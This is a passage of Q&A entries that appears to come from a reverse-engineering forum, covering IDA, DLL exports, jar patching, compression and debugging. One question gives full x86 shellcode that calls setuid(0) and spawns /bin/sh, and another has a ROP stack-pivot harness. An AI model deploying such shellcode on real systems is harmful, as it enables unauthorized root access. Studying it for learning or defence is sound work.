        "Body": "<p>I use <a href=\"http://processhacker.sourceforge.net/\" rel=\"nofollow noreferrer\">ProcessHacker</a> version 2.33 to inspect the functions which are exported by DLLs in running processes. In the screen-shot below you can see a few exported functions from a C++ application, along with their Ordinal number and virtual address (VA):</p>\n\n<p><img src=\"https://i.stack.imgur.com/a2kFv.png\" alt=\"enter image description here\"></p>\n\n<p>This is a pretty cool feature of ProcessHacker, which I was not able to find in ProcessExplorer. However, regarding the entries you can see in this screen-shot, I was not able to find what do the <code>?</code> (question marks) and the number, which prefixes the names of the functions, mean. Also, I'm not sure what the single and double <code>@</code> (at) symbols in the name, followed by a group of capital letters or number, mean.</p>\n\n<p><strong>Question 1:</strong> What do the symbols (<code>?, @</code>), number-prefix and capital letter suffixes represent? How can one interpret them?</p>\n\n<p><strong>Question 2:</strong> What does the \"Ordinal\" column mean?</p>\n\n<p><strong>Question 3:</strong> Does the \"VA\" column show the offset of the procedure entry point, with respect to the base address of the <code>.text</code> segment of the DLL? If not, what does it represent?</p>\n\n<p><strong>Question 4:</strong> How can one compute the absolute address of any function from the Exports tab?</p>\n",
        "Title": "How to interpret entries from Exports tab in ProcessHacker",
        "Tags": "|dll|libraries|processhacker|",
        "Answer": "<p>I'd  recommend loading the dll file into PE Explorer (View->Export), which will undecorate the names for you and show you the corresponding parameters/return value/calling convention.</p>\n\n<p>You may also want to check out <a href=\"https://stackoverflow.com/questions/9177591/how-to-undecorate-name-from-decorated-name\">this question</a>.</p>\n"
    },
    {
        "Id": "3716",
        "CreationDate": "2014-02-18T21:36:43.910",
        "Body": "<p>Basically I us IDA Pro 6.1 on Windows 32 bit, dealing with binaries from SPEC 2006.</p>\n\n<p>I use IDA Pro to generate asm code from the binaries, and in the .data section, I see data define like this:</p>\n\n<pre><code>GS_ExceptionRecord _EXCEPTION_RECORD  &lt;?&gt;\nGS_ContextRecord _CONTEXT  &lt;?&gt;\nlclcritsects    _RTL_CRITICAL_SECTION 0Eh dup(&lt;?&gt;)\n .....\nDoubleFormat    FpFormatDescriptor &lt;400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh&gt;\nFloatFormat     FpFormatDescriptor &lt;80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh&gt;  \n</code></pre>\n\n<p>Basically I can not find the definition of <strong>_EXCEPTION_RECORD</strong> ,<strong>_CONTEXT</strong> ,<strong>_RTL_CRITICAL_SECTION</strong>, <strong>FpFormatDescriptor</strong> in the generated asm code.</p>\n\n<p>And in the code, they will be used like:</p>\n\n<pre><code>mov     edi, DoubleFormat.precision\nmov     eax, DoubleFormat.min_exp\nsub     ecx, DoubleFormat.precision\n\nmov     edi, FloatFormat.precision\n\nmov     edi, offset lclcritsects\n\nmov     GS_ContextRecord._Eax, eax\nmov     word ptr GS_ContextRecord.SegSs, ss\npop     GS_ContextRecord.EFlags\n</code></pre>\n\n<p>So basically my questions are:</p>\n\n<ol>\n<li><p>How can I find the definition of these stuff?</p></li>\n<li><p>Basically I use <strong>File-->Produce File-->Create ASM File</strong> to generate asm code for analysis, then how can I dump these definitions from IDA Pro's Structures window into this asm code?</p></li>\n</ol>\n\n<p>And what's more, it seems that I can not find the definition in Structures window even if I expand them....</p>\n\n<p><img src=\"https://i.stack.imgur.com/gxynq.png\" alt=\"enter image description here\"></p>\n",
        "Title": "Why IDA Pro generate define-lack code like this?",
        "Tags": "|ida|disassembly|winapi|nasm|",
        "Answer": "<p>seems to be a struct from some internal microsoft  floating point conversion code possibly from windbg source tree   </p>\n\n<p>seems to be defined like</p>\n\n<pre><code>typedef struct { \nint max_exp; // maximum base 2 exponent (reserved for special values) \nint min_exp; // minimum base 2 exponent (reserved for denormals) \nint precision; // bits of precision carried in the mantissa \nint exp_width; // number of bits for exponent\nint format_width; // format width in bits \nint bias;  // exponent bias \n} FpFormatDescriptor; \n</code></pre>\n\n<p>Double </p>\n\n<pre><code>static FpFormatDescriptor \nDoubleFormat = { \n0x7ff - 0x3ff, //  1024, maximum base 2 exponent (reserved for special values)\n0x0 - 0x3ff, // -1023, minimum base 2 exponent (reserved for denormals) \n53, // bits of precision carried in the mantissa \n11, // number of bits for exponent \n64, // format width in bits \n0x3ff,  // exponent bias \n}; \n</code></pre>\n\n<p>Float</p>\n\n<pre><code>static FpFormatDescriptor \nFloatFormat = { \n0xff - 0x7f, //  128, maximum base 2 exponent(reserved for special values) \n0x0 - 0x7f, // -127, minimum base 2 exponent (reserved for denormals) \n24, // bits of precision carried in the mantissa \n8,   // number of bits for exponent \n32, // format width in bits \n0x7f,  // exponent bias \n}; \n</code></pre>\n"
    },
    {
        "Id": "3726",
        "CreationDate": "2014-02-20T08:01:52.190",
        "Body": "<p>I am working on return oriented programming exploitation on a x86_64 Linux.\nHowever, my research leads to impossibility of ROP exploitation in 64-bit Linux machine because all of code segments are loaded in null byte leading addresses.\nIs it true?</p>\n\n<pre><code>Gdb,Sections:\n(gdb) i file\n    `/home/******/Desktop/BOF/lib64', file type elf64-x86-64.\n    Entry point: 0x400ffc\n    0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag\n    0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id\n    0x00000000004001d8 - 0x00000000004002f8 is .rela.plt\n    0x00000000004002f8 - 0x0000000000400312 is .init\n    0x0000000000400320 - 0x00000000004003e0 is .plt\n    0x00000000004003e0 - 0x0000000000494808 is .text\n    0x0000000000494810 - 0x000000000049614c is __libc_freeres_fn\n    0x0000000000496150 - 0x00000000004961f8 is __libc_thread_freeres_fn\n    0x00000000004961f8 - 0x0000000000496201 is .fini\n    0x0000000000496220 - 0x00000000004b6224 is .rodata\n    0x00000000004b6228 - 0x00000000004b6230 is __libc_atexit\n    0x00000000004b6230 - 0x00000000004b6288 is __libc_subfreeres\n    0x00000000004b6288 - 0x00000000004b6290 is __libc_thread_subfreeres\n    0x00000000004b6290 - 0x00000000004c32ac is .eh_frame\n    0x00000000004c32ac - 0x00000000004c33b9 is .gcc_except_table\n    0x00000000006c3ea0 - 0x00000000006c3ec0 is .tdata\n    0x00000000006c3ec0 - 0x00000000006c3ef8 is .tbss\n    0x00000000006c3ec0 - 0x00000000006c3ed0 is .init_array\n    0x00000000006c3ed0 - 0x00000000006c3ee0 is .fini_array\n    0x00000000006c3ee0 - 0x00000000006c3ee8 is .jcr\n    0x00000000006c3f00 - 0x00000000006c3ff0 is .data.rel.ro\n    0x00000000006c3ff0 - 0x00000000006c4000 is .got\n    0x00000000006c4000 - 0x00000000006c4078 is .got.plt\n    0x00000000006c4080 - 0x00000000006c56f0 is .data\n    0x00000000006c5700 - 0x00000000006c8308 is .bss\n    0x00000000006c8308 - 0x00000000006c8338 is __libc_freeres_ptrs\n\n    0x0000000000400190 - 0x00000000004001b0 is .note.ABI-tag\n    0x00000000004001b0 - 0x00000000004001d4 is .note.gnu.build-id\n    0x00000000004001d8 - 0x00000000004002f8 is .rela.plt\n    0x00000000004002f8 - 0x0000000000400312 is .init\n    0x0000000000400320 - 0x00000000004003e0 is .plt\n    0x00000000004003e0 - 0x0000000000494808 is .text\n    0x0000000000494810 - 0x000000000049614c is __libc_freeres_fn\n    0x0000000000496150 - 0x00000000004961f8 is __libc_thread_freeres_fn\n    0x00000000004961f8 - 0x0000000000496201 is .fini\n    0x0000000000496220 - 0x00000000004b6224 is .rodata\n    0x00000000004b6228 - 0x00000000004b6230 is __libc_atexit\n    0x00000000004b6230 - 0x00000000004b6288 is __libc_subfreeres\n    0x00000000004b6288 - 0x00000000004b6290 is __libc_thread_subfreeres\n    0x00000000004b6290 - 0x00000000004c32ac is .eh_frame\n    0x00000000004c32ac - 0x00000000004c33b9 is .gcc_except_table\n    0x00000000006c3ea0 - 0x00000000006c3ec0 is .tdata\n    0x00000000006c3ec0 - 0x00000000006c3ef8 is .tbss\n    0x00000000006c3ec0 - 0x00000000006c3ed0 is .init_array\n    0x00000000006c3ed0 - 0x00000000006c3ee0 is .fini_array\n    0x00000000006c3ee0 - 0x00000000006c3ee8 is .jcr\n    0x00000000006c3f00 - 0x00000000006c3ff0 is .data.rel.ro\n    0x00000000006c3ff0 - 0x00000000006c4000 is .got\n    0x00000000006c4000 - 0x00000000006c4078 is .got.plt\n    0x00000000006c4080 - 0x00000000006c56f0 is .data\n    0x00000000006c5700 - 0x00000000006c8308 is .bss\n    0x00000000006c8308 - 0x00000000006c8338 is __libc_freeres_ptrs\n</code></pre>\n",
        "Title": "ROP exploitation in x86_64 linux",
        "Tags": "|exploit|buffer-overflow|x86-64|",
        "Answer": "<p>This comes down to the type of bug you are exploiting. If your payload cant contain null bytes (a vulnerable strcpy), this can become an issue, however not all bugs have this constraint. Take for example a bug in how a filetype is parsed, which allows null bytes. </p>\n\n<p>Also there is the possibility of a series of bugs to be used, for example, the idea of heap spraying. Generally you spray the heap doing other \"legitimate\" things, such as in <a href=\"https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/\">this write up</a> by corelancoder. His shell code, which would be your ROP chain, is part bitmap files that he consecutively loads to \"spray the heap\", while the bug is actually triggered by javascript and doesn't actually contain the shellcode.</p>\n\n<p>If you want to just work on ROP, and not worry about byte limitations, i'd suggest writing a simple harness to test your shellcode.</p>\n\n<p><strong>EDIT</strong> Sorry wrong harness. This one is clearly 64-bit specific.</p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint data[10000000];\n\nvoid start_rop(char * rop)\n{\n        __asm(\"mov (%rax),%rsp\"); //move contents of first argument into the stack pointer\n}\n\nint main(int argc, char * argv)\n{\n\n        char  code[] = \"AAAAAAAA\";\n        char * malloc_code = (char *)malloc(sizeof(code));\n        memcpy(malloc_code,&amp;code,sizeof(code));\n\n        start_rop(malloc_code);\n\n        free(malloc_code);\n        return 0;\n}\n</code></pre>\n"
    },
    {
        "Id": "3733",
        "CreationDate": "2014-02-20T18:01:06.187",
        "Body": "<p>So basically I my nasm syntax asm code, I use some extern functions like this:</p>\n\n<pre><code>extern _printf\nextern __imp__Sleep@4\n....\ncall _printf\ncall    [__imp__Sleep@4]\n</code></pre>\n\n<p>Then I use nasm to assemble it into obj:</p>\n\n<pre><code>nasm -f win32 test.asm\n</code></pre>\n\n<p>Then I use IDA Pro to disassemble test.obj, I can see code like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/awMR3.png\" alt=\"enter image description here\">  </p>\n\n<p>See, extern function name like <strong>_printf</strong> has been kept.</p>\n\n<p>But when I link this obj file:</p>\n\n<pre><code>cl /MT z:\\\\windows\\\\test.obj /link kernel32.lib libcmt.lib /SUBSYSTEM:CONSOLE\n</code></pre>\n\n<p>Then I use IDA Pro to disassemble test.exe, I can see code like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/oGiwm.png\" alt=\"enter image description here\"></p>\n\n<p>See, the function name of <strong>_printf</strong> has been changed.</p>\n\n<p>I know basically after static link, the code of _printf has been put into the test.exe, in the subroutine of <strong>sub_409C9B</strong></p>\n\n<p>But basically <strong>I have to make the name of extern declared functions unchangeable</strong>, because I need to reverse engineering the test.exe and do some modify/remove towards those functions, and once PE exe lost the name info, I can not locate those targeting functions.</p>\n\n<p>So my question is:</p>\n\n<p>Why cl.exe will change the name of those functions, and is there any way to stop the change(I mean keep the function name unchangeable during the link time)?</p>\n",
        "Title": "Why cl.exe change the extern function name used in my code?",
        "Tags": "|ida|winapi|nasm|",
        "Answer": "<p>You've got some kind of <a href=\"https://meta.stackexchange.com/questions/66377/what-is-the-xy-problem\">XY-problem</a>.</p>\n\n<p>The truth is: it's IDA who so to say \"changes\" the name of (something she thinks is) a function from absolutely nothing to <code>sub_{address}</code>. Why on earth would <code>PE-file</code> have non-exported symbols stored in it? Some kind of masochism? To give a candy to reversers?</p>\n\n<p>Thus, you have at least three ways of dealing with your problem:</p>\n\n<ul>\n<li>pray and hope that IDA's <a href=\"https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml\" rel=\"nofollow\">FLIRT</a> will heuristically recognize <code>printf</code>;</li>\n<li><code>link</code> your program with debug-info: <a href=\"http://msdn.microsoft.com/en-us/library/aa235413.aspx\" rel=\"nofollow\"><code>-debug</code></a> which tells linker to generate <a href=\"http://en.wikipedia.org/wiki/Program_database\" rel=\"nofollow\"><code>pdb</code></a>-file which IDA will query for all the symbols stored for your application;</li>\n<li>tell linker to <a href=\"http://msdn.microsoft.com/en-us/library/aa235424.aspx\" rel=\"nofollow\"><code>-export:printf</code></a> so that it's name will be in export directory and you can get it's address easily even programmatically.</li>\n</ul>\n"
    },
    {
        "Id": "3741",
        "CreationDate": "2014-02-22T12:17:53.460",
        "Body": "<p>Being a beginner in <strong>C#</strong> I wonder if it is possible to patch a <strong><em>.class</strong> file inside a <strong></em>.jar</strong>?</p>\n\n<p>Since jar files tend to act like \"zip\" files, the approach I think might work is to decompress the jar, <strong>patch the hex offset</strong> in the *.class then zip back the jar and overwrite the original.</p>\n\n<p>Any examples or tutorials showing how to do this? is there a better approach?</p>\n",
        "Title": "Patch a Java class inside a jar using C#",
        "Tags": "|java|hex|patching|jar|c#|",
        "Answer": "<p>After some more research I found <a href=\"http://www.codeproject.com/Articles/27606/Opening-Jars-with-C\" rel=\"nofollow noreferrer\">this tutorial</a> and <a href=\"https://stackoverflow.com/questions/3217732/how-to-edit-a-binary-files-hex-value-using-c-sharp\">this answer</a> about patching class files inside jars using the <a href=\"http://www.icsharpcode.net/OpenSource/SharpZipLib/\" rel=\"nofollow noreferrer\">SharpZipLib</a> library.</p>\n"
    },
    {
        "Id": "3748",
        "CreationDate": "2014-02-24T08:18:37.010",
        "Body": "<p>I have the following assembly code over Linux distro:</p>\n\n<pre><code># using the .data section for write permission\n# instead of .text section\n.section .data\n.globl _start\n\n_start:\n     # displaying some characters for watermarking :-)\n     xor %eax,%eax      # clear eax by setting eax to 0\n     xor %ebx,%ebx      # clear ebx by setting ebx to 0\n     xor %edx,%edx      # clear edx by setting edx to 0\n     push %ebx          # push ebx into the stack, base pointer\n                        # for the stack frame\n     push $0xa696e55    # push U-n-i characters\n     push $0x4d555544   # push M-U-U-D characters\n     push $0x414d4841   # push A-M-H-A characters\n     movl  %esp,%ecx    # move the sp to ecx\n     movb  $0xf,%dl     # move 15 to dl (low d), it is the string length,\n                        # notice the use of movb - move byte, this is to avoid null\n     movb  $0x4,%al     # move 4 to al (low l),\n                        # 4 is system call number for\n                        # write(int fd, char *str, int len)\n     int  $0x80         # call kernel/syscall\n\n     # setuid(0)\n     xor %eax,%eax      # clear eax by setting eax to 0\n     xor %ebx,%ebx      # clear ebx by setting ebx to 0\n     xor %ecx,%ecx      # clear ecx by setting ecx to 0\n     movb $0x17,%al     # move 0x17 into al - setuid(0)\n     int $0x80          # call kernel/syscall\n\n     jmp do_call        # jump to get the address with the call trick\n\njmp_back:\n     pop %ebx           # ebx (base pointer=stack frame pointer) has \n                        # the address of our string, use it to index\n     xor %eax,%eax      # clear eax by setting eax to 0\n     movb %al,7(%ebx)   # put a null at the N or shell[7]\n     movl %ebx,8(%ebx)  # put the address of our string (in ebx) into shell[8]\n\n     movl %eax,12(%ebx) # put the null at shell[12] our string now looks something like\n                        # \"/bin/sh\\0(*ebx)(*0000)\"\n     xor %eax,%eax      # clear eax by setting eax to 0\n     movb $11,%al       # put 11 which is execve\n\n# syscall number into al\n     leal 8(%ebx),%ecx  # put the address of XXXX i.e. (*ebx) into ecx\n     leal 12(%ebx),%edx # put the address of YYYY i.e. (*0000) into edx\n     int $0x80          # call kernel/syscall\n\ndo_call:\n     call jmp_back\n\nshell:\n     .ascii \"/bin/shNXXXXYYYY\"\n</code></pre>\n\n<p>How is it possible to convert it to C code?</p>\n",
        "Title": "Converting assembly code to c",
        "Tags": "|disassembly|decompilation|linux|c|exploit|",
        "Answer": "<p>There's also <a href=\"https://github.com/frranck/asm2c\" rel=\"nofollow noreferrer\">asm2c</a> that works on assembly source code instead of executables or objects files.</p>\n\n<blockquote>\n  <p>Tool to convert DOS Assembly code to C code Edit</p>\n</blockquote>\n"
    },
    {
        "Id": "3750",
        "CreationDate": "2014-02-24T08:33:31.503",
        "Body": "<p>I pointed the API help file to <code>WIN32.HLP</code> (Help -> Select API File -> win32.hlp -> Open)</p>\n\n<p>But when I right click on API and click 'Help on Symbolic name' 'Windows Help and Support' comes up and shows me 'Why can't I get Help from this program? '.</p>\n\n<p>What is the problem here...I'm using win 7, 64 Bit.</p>\n",
        "Title": "OllyDgb1.10 API help file not working",
        "Tags": "|ollydbg|",
        "Answer": "<p>(on behalf of the OP)</p>\n\n<p>Solved it. It was because my system was missing one update.</p>\n\n<p>Check the error details and solution <a href=\"http://support.microsoft.com/kb/917607\" rel=\"nofollow\">here</a>. Modern Windows versions have no more built-in support for the old Windows help format, so that needs to be installed explicitly.</p>\n"
    },
    {
        "Id": "3752",
        "CreationDate": "2014-02-24T09:38:01.077",
        "Body": "<p>I want to know if there are ways to compile C, C++ and Python code in order to not be able to reverse engineering it over Linux or not?</p>\n\n<p>I have heard there are some ways over Windows to do it, but I am working on Linux. </p>\n\n<p>I want to compile my code securely, as released or final version.</p>\n\n<p><strong>UPDATE</strong> </p>\n\n<p>At least I want to make it hard for usual users to disassemble, </p>\n\n<p>I am using GCC for C and C++, also I would be thankful if you introduce me best compiler for Python. </p>\n",
        "Title": "How to compile c, cpp and python code as \"Released/Final\" version?",
        "Tags": "|python|c|c++|compilers|software-security|",
        "Answer": "<p>As for C compiler (gcc), first make sure you do not make a mistake of compiling it with <code>-g</code> option (adds symbols for debugging, basically whole source code).</p>\n\n<blockquote>\n  <p>-g  Produce debugging information in the operating system's native format</p>\n</blockquote>\n\n<p>Secondly, try with <code>-s</code> option:</p>\n\n<blockquote>\n  <p>-s  Remove all symbol table and relocation information from the executable.</p>\n</blockquote>\n\n<p>Without function names is would be harder to reverse engineer it. Take a look at <code>man strip</code>. I haven't tried it, but something like</p>\n\n<blockquote>\n  <p>strip --strip-debug objfile</p>\n</blockquote>\n\n<p>or:</p>\n\n<blockquote>\n  <p>strip --strip-unneeded objfile</p>\n</blockquote>\n\n<p>on your object files could be useful.</p>\n\n<p>Turn on as much optimisation as you can <code>-O3</code>. It is really hard to read an optimized assembly, making it another impediment. There is really no good way of preventing disassembly and reverse-engineering, but it makes it harder.</p>\n\n<p>As for Python, it is absolutely OK to ship only <code>.pyc</code> bytecode files. It is compiled version of source code for Python Virtual Machine. <a href=\"http://effbot.org/pyfaq/how-do-i-create-a-pyc-file.htm\" rel=\"nofollow\">How do I create a .pyc file?</a>. Try this one, maybe it is what you need. User can run bytecode file using <code>python</code> just as easily as a source code file.</p>\n\n<p>Lastly, try to google for code obfuscation. It makes no sense to obfuscate C++ code, but maybe someone knows if code obfuscation is a good strategy for Python.</p>\n"
    },
    {
        "Id": "3762",
        "CreationDate": "2014-02-26T04:35:09.867",
        "Body": "<p>I use IDA Pro 6.1 to disassemble static linked binary on Windows 32bit</p>\n\n<p>See, in the interactive screen, this subroutine (which is in one library function) can be found:</p>\n\n<p><img src=\"https://i.stack.imgur.com/BjLOg.png\" alt=\"IDAPro asm display\"></p>\n\n<p>But as I use these two ways to generate asm code:</p>\n\n<ol>\n<li>File->Produce->Create ASM File</li>\n<li>IDC script to iterate all the functions</li>\n</ol>\n\n<p>In both ways I can find this library function, but I can not find the definition of the subroutine <code>$LN28_0</code>. Which means in the generated asm code, all the <code>jmp $LN28_0</code> is undefined.</p>\n\n<p>So, I am wondering if it is a bug of IDA Pro? Or, do I need to configure some things? </p>\n",
        "Title": "Why IDA Pro can not generate this subroutine's code?",
        "Tags": "|ida|",
        "Answer": "<p>It looks like that $LN28_0 is local label, not subroutine.\nFind it, rename it manually, regenerate the file.</p>\n"
    },
    {
        "Id": "3764",
        "CreationDate": "2014-02-26T18:43:59.927",
        "Body": "<p>I am doing a translation project for the PSP version of a game released by Prototype (Japanese company), but I am having trouble with some GIM files (image files). \nNow the actual problem is not with the gim format, but a compression that has been placed on the gim files, but before that I will clarify a few things.\nSome of the GIM's work, however sometimes a GIM file appears that neither puyotools or GimConv (software that converts gim to png) can handle. The GIM that doesn't work is a little different in appearance.\nI know its a GIM file because it starts with: MIG.00.1PSP, though to be exact, its a little different and written like this:</p>\n\n<p><code>[integer equals 16, signature?] [integer equals 131792] [MIG.00.1PSP, but where a 00 HEX is placed between each hex byte]\n</code></p>\n\n<p>like this:</p>\n\n<p><code>10 00 00 00 D0 02 02 00 4D 00 49 00 47 00 2E 00 30 00 30 00\n2E 00 31 00 50 00 53 00 50 00 00 00</code></p>\n\n<p>Each of the compressed GIM files starts with these two integers values (however an image I have with smaller resolution has a different second integer). I have allready tried removing these two integers and also tried replacing M(00)I(00)G(00).(00)0(00)0(00).(00)1(00)P(00)S(00)P(00), with simply MIG.00.1PSP, but that just ended up making GIMConv saying: wrong chunk data.</p>\n\n<p>Also I have tried analyzing the file with signsrch and TrID to look for hints of some sort, but signsrch finds nothing and TrID only finds: \"100 .0% (.) LTAC compressed audio (v1.61) (1001/2)\"</p>\n\n<p>Here is the file called: black.gim (a black image)\n<img src=\"https://i.stack.imgur.com/Quc5S.png\" alt=\"enter image description here\"></p>\n\n<p>Here is a random CG: \n<img src=\"https://i.stack.imgur.com/W1UrT.png\" alt=\"enter image description here\"></p>\n\n<p>Here is a random gim file for refference to how an uncompressed version should look like. Notice that the first 4 bytes of the second line indicates the file size minus 16. \nAnother thing is the int after MIG.001.PSP, which I from different sources has found to be the version number. Therefore, all the compressed files should problably get that int there too.\n<img src=\"https://i.stack.imgur.com/pTza1.png\" alt=\"enter image description here\">\nUpdate: I believe this is some kind of lz compression, but I haven't figured out which one yet. Tried lz01,lz00,lz10,lz11,CXLZ, lzss . It seems to me that it begins with a 10 byte like lz, it makes MIG.001.PSP become seperated by 00, due to the compression relying on value, key pair, where I believe the key 0 means that values should be directly send to the output. &lt;- if you are confident that its one of the compressions I have tried, please say so too as it could very well just be the tools I used to try those compressions that was wrong with. GZIP and deflate was tried using .NET's System.IO.Compression in C# and the others has been tried using something called Puyo tools.</p>\n\n<p>Update: It seams like I have it almost figured out, basicly a key equals zero outputs value to decompressed data. If key is higher than zero, then get the short value of [Value,key-1]. This short plus 8 times two gives the byte it has to write out twice to decompressed data. In other words, 00 00 08 01 would output 00 00 00. The only problem with this is that 0f 01 in my black.gim example at line 3. This would point to 15 which would be position (15 + 8)*2 equals byte 46 which should be 02 00 in line two. This is however incorrect! Since I expect it to place zeroes there, not output 02 02..</p>\n\n<p>In short in the black.gim example I have found that:\n0C 01 should output 00 00\n0D 01 should output 00 00 00\n0F 01 should output 00 00</p>\n\n<p>Any suggestions?</p>\n\n<p>I'll be really happy if anybody could give me some input or lead :)</p>\n",
        "Title": "identification/reverse engineer lz compression",
        "Tags": "|file-format|",
        "Answer": "<p>Here is the complete answer to everyone who may encounter compressed GIM file of simular compression.\nBasicly the file starts like this:\n[magic number 10 00 00 00] [Integer with uncompressed size of file]\nAfter this the compressed file begin.\nThe compression basicly functions like this: (in terms of decompression)</p>\n\n<p><strong>-> Take the next 2 bytes.</strong></p>\n\n<p><strong>-> Is the second byte equals zero?</strong></p>\n\n<ul>\n<li>Write first byte to decompressed output.</li>\n</ul>\n\n<p><strong>-> Is the second byte higher than 0?</strong></p>\n\n<p>This is a pointer whose job is to make use of bytes used before. The position it points to is equals the unsigned short value of: [first byte, second byte minus 1]*2 + 8. When a pointer reads at the position it points to, it will read the next 4 bytes and not just the next 2 bytes. If the bytes at the pointed location is: 00 02 0C 01, then the decompressed output would be 02 ?? where ?? would be the result of the first two bytes of what its pointing at. In other words, if we pointed to 0C 01 02 00, then the output 0C 01 would be replaced by the result whatever its pointing to.Lets say it points to 08 00 00 00, then the output of the last pointer would be 08 00 00 00, which would replace 0C 01 and become: 08 00 00 00 02 00, which lastly would output 08 00 02 to decompressed output. *Notice that a pointer placed as the second byte cannot be replaced by four bytes, but only by the first two bytes of what would normally have been the result. If the second byte is pointing to the first byte, then it will simply be given the result of the first byte.</p>\n\n<p>Examples from the image from the first post (Black.gim):\nIn the first image: 0c 01 points to 00 00 0C 01, which outputs 00 00.\nIn the first image 0d 01 points to 0C 01 0C 01, which outputs 00 00 00. &lt;- notice how only the first two bytes at a pointed position has the right to extend the result of what pointed to it by two bytes.\nIn the first image: 0F 01 points to 02 00 0D 01, which outputs 02 00</p>\n\n<p><strong>-> do this until no bytes remains..</strong></p>\n\n<p>About the suggested LZJB, I'll check right away. In case its right, I have still gotten quite the experience about reverse engineering files.</p>\n"
    },
    {
        "Id": "3766",
        "CreationDate": "2014-02-27T10:17:38.380",
        "Body": "<p>Does anybody know something hack to debug 16bit DOS program in IDA 6.1?</p>\n",
        "Title": "DOS program debug in IDA?",
        "Tags": "|ida|debugging|dos|",
        "Answer": "<p><a href=\"https://github.com/wjp/idados\">IDA DOSBox plugin</a> by Eric Fry.</p>\n\n<p>Note that it requires a modified DOSBox build.</p>\n"
    },
    {
        "Id": "3787",
        "CreationDate": "2014-03-04T19:49:02.390",
        "Body": "<p>I'm using <a href=\"http://dirty-joe.com/\" rel=\"nofollow\">dirtyJOE</a> to edit a method of a class file.</p>\n\n<p>The original class file had some encryption method calls and such.\nI've changed the byte-code of the method ldc (byte-code: <code>12 1E</code>)\nto load true and return(byte-code: <code>12 1E</code>)</p>\n\n<p>apparently, Java's verifier is upset with my changes and it complains of verification error:</p>\n\n<p>java.lang.VerifyError: Expecting a stack map frame in method <em>[methodName]</em> at offset 2\nat..\nat..</p>\n\n<p>I was wondering if there is a way to fool the jvm to think that there is a stack map frame?</p>\n\n<p>thank you </p>\n",
        "Title": "VerifyError after editingg class file with dirtJOE",
        "Tags": "|java|byte-code|",
        "Answer": "<p>If the original class was not using StackMapTables, then there should be no problem, assuming you modified the bytecode correctly. Even if it is using them, it is usually possible to just remove them and revert to the old behavior. Assuming that the class does not use <code>invokedynamic</code>, you can just change the version back to <code>49.0</code> and delete the StackMapTable attributes.</p>\n\n<p>Unfortunately, version 51.0 mandates usage of StackMapTable, which is a pain to create when manually editing bytecode. If your class actually is making use of 51.0 features (i.e. <code>invokedynamic</code>) then your only option is to create the appropriate stack frames. In a simple case like this, you could do it by hand, but in general you're best off using a tool to generate the stack frames automatically.</p>\n"
    },
    {
        "Id": "3796",
        "CreationDate": "2014-03-05T15:58:41.157",
        "Body": "<p>In fuzzing applications with Pin (the Pintool source code is hosted <a href=\"https://github.com/tathanhdinh/PathExplorer/tree/windows_version/version_1\" rel=\"nofollow\">here</a>, I am sorry for the self-advertisement), I get a very bizarre situation in tracing executed instructions, the following trace:</p>\n\n<pre><code>...\n0x404f94        test edx, edx                    \n0x404f96        jnz 0x404fe1                   \n0x404fe1        pop ebp                        \n0x404f89        rep cmpsb byte ptr [esi], byte ptr [edi]\n0x404f8b        pop edi                        \n0x404f8c        pop esi                        \n0x404f8d        jz 0x404f94                    \n0x404f8f        sbb edx, edx\n...\n</code></pre>\n\n<p>is extracted from the execution of wget. The bizarre observation is that the instruction after 0x404f8f is somehow arbitrary, normaly it should be:</p>\n\n<pre><code>0x404f91        sbb edx, 0xffffffff\n</code></pre>\n\n<p>but \"sometimes\" it is:</p>\n\n<pre><code>0x779a015d      add esp, 0x4\n</code></pre>\n\n<p>which is located in the NtWaitForMultipleObjects. To say \"sometimes\", I mean that it does not always happen but it happens and that is 100% reproducible.</p>\n\n<p>I still cannot figure out what happened here. First, the observation means that the control-flow of the program has been changed in a unpredictable way. Second, the bizarre instruction located in NtWaitForMultipleObjects, namely it must be in the kernel-space, but here I have observed it in the program (i.e. in the user-space).</p>\n\n<p>I know that this question is quite specific but feel free to request me more information. I really appreciate any help.</p>\n",
        "Title": "Strange behavior in the reverse execution of traces",
        "Tags": "|fuzzing|instrumentation|",
        "Answer": "<p>When dealing with multi-threaded program, you may end up getting instructions from different threads. You can for example check the current thread ID to make sure you're getting what you need.</p>\n\n<p>Even if the program itself does not use threads, they may be created by system libraries. One of the most common examples is the <a href=\"https://stackoverflow.com/questions/12670097/what-is-the-purpose-of-this-mysterious-tppwaiterpthread-thread\">TppWaiterpThread</a>. RPC functions also often create threads.</p>\n"
    },
    {
        "Id": "3797",
        "CreationDate": "2014-03-05T17:56:23.717",
        "Body": "<p>These are my first steps in IDA script, so please be kind.</p>\n\n<p>I want to create some sort of script that, every time it finds the following instruction:</p>\n\n<p><code>MOV R1, #0x4D080</code></p>\n\n<p>to automatically replace it with</p>\n\n<p><code>NOP</code></p>\n\n<p>I could do it statically (hex edit), but I'm looking for a way to do it on the fly during dynamic debugging.</p>\n\n<p>Any ideas?</p>\n",
        "Title": "automatically find and nop an instruction in IDA",
        "Tags": "|ida|patching|patch-reversing|",
        "Answer": "<p>Actually you can do the following:</p>\n\n<p>Assuming that you know when and where this instruction is located and where it can appear:</p>\n\n<pre><code>#I didn't check this code, use carefully, beware errors\n#You can use idc.FindBinary instead of text search if you know \n#how your assembly instruction is encoded\nimport idautils\nimport idc\n\n\n#static nopification of ARM address\ndef static_nopify_arm(ea):\n    nop = [0xe1, 0xa0, 0x00, 0x00]  # it is a nop encoding taken from wikipedia\n    for i in range(len(nop)):\n        idc.PatchByte(ea + i, nop[i])\n\n\n#searches assembly command by its text\n#generally bad idea, but should work\n#start and end means search area boundaries\ndef static_search_text_and_nopify(asmline, start, end):\n    for h in idautils.Heads(start, end):\n        disasm = idc.GetDisasm(h)\n        if asmline == disasm:\n            static_nopify_arm(h)\n\n\n#The same with dynamic (memory during debugging)\n#Dynamic nopification of ARM address\ndef dynamic_nopify_arm(ea):\n    nop = [0xe1, 0xa0, 0x00, 0x00]  # it is a nop encoding taken from wikipedia\n    for i in range(len(nop)):\n        #I'm not sure that it will work, may be you should do something with memory protection\n        idc.PatchDbgByte(ea 